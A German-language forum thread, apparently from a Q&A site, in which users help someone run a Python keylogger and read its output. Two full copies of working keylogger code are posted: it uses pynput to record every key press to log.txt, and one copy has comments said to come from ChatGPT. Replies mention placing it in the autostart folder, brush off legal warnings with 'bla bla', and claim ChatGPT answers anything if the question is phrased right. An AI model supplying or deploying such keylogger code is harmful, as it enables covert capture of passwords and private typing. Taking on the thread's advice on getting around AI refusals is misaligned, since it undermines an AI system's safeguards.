Wie kann ich die Buchstaben abrufen die mein Keylogger aufgezeichnet hat (keylogger.py)?
1 Antwort
Ich würde ja nach dem Code fragen allerdings habe ich gerade nicht im Kopf was die Nutzungsbedingungen hier in dem Bereich sind.
Jenachdem wie du die Keys speicherst rufst du die auch auf.
Speicherst du sie per for schleife Buchstabe für Buchstabe in eine Datei dann einfach die Datei wieder auslesen.
Sehr schwierig das ohne genauere Infos zum Code zu erklären da man nicht weiß wie es umgesetzt wird.
Anyways keylogger bei jemandem ohne Erlaubnis zu installieren ist strafbar bla bla und im Schlimmstenfall kann eine Gefängnisstrafe folgen bla bla also teste das nur auf deinen eigenen geräten zum lernen.
Kannst du die Speicherfunktion hier evtl rein Posten?
Das ist der Code :
from pynput import keyboard
def on_press(key):
with open("log.txt", "a") as log_file:
try:
log_file.write(f"{key.char}\n")
except:
log_file.write(f"{key}\n")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
Schreibst denn in die Datei rein? Oder kommt der Error?
Erstmal Textdokument und dann zu keylogger.py umbennenen
Meinte ob es die keys rein schreibt oder ob das Programm da schon Probleme hat?
Keine Ahnung will nur wissen wie ich die einsehen kann
Es wird in die log.txt gespeichert also log.txt öffnen und da steht alles drin.
Jenachdem wo der keylogger ist sollte auch die log.txt sein.
Ist sie in der Datei oder wird es woanders abgespeichert
Da wo es ausgefuhr wird.
Hast du keylogger.py in bspw Dokumente dann wird es unter Dokumente erstellt.
Solltest du keylogger in autostart Ordner haben speichert es die log.txt im Autostart Ordner bspw.
Hier einmal Kommentare davor geklatscht um es ein wenig zu erklären (bevor jemand fragt, ja einfach per chatgpt generiert die Erklärung aber If it works it works)
# Import the required module from the 'pynput' library
from pynput import keyboard
# Define a function that will be called whenever a key is pressed
def on_press(key):
# Open (or create if not exists) "log.txt" in append mode
with open("log.txt", "a") as log_file:
try:
# Try to write the character of the key (for alphanumeric and symbols)
log_file.write(f"{key.char}\n")
except AttributeError:
# If the key does not have a 'char' attribute (e.g., special keys like Shift, Enter)
log_file.write(f"{key}\n")
# Set up a keyboard listener that listens for keypress events
with keyboard.Listener(on_press=on_press) as listener:
# Keep the listener running to capture key presses indefinitely
listener.join()
Bei mir sagt Chatgpt das er mir nicht helfen darf
Ich kann keylogger.py nicht ausführen
Kommt drauf an wie man die Frage formuliert.
Richtig formuliert wird er auf alles antworten.
Wie startest du die Datei denn?
Python installiert?
Pynput über pip installiert?
Windows/Linux?
Windows, Pynput nicht instaliert, Python nicht insaliert
Ohne Python kannst du auch keine Python Datei starten, also auch installieren
Habe ich separat kommentiert um auf Nachfrage dazu übersichtlicher antworten kann
Im ideal fall reicht das aus, ja.
Aber richtig installiert, arbeite nicht mit Windows aber meine ihr müsst da noch was machen aber da hilft dir ein YouTube Video wahrscheinlich eher.
Ich teste sie bei mir selbst
(Ich habe mir die erlaubnis gegeben)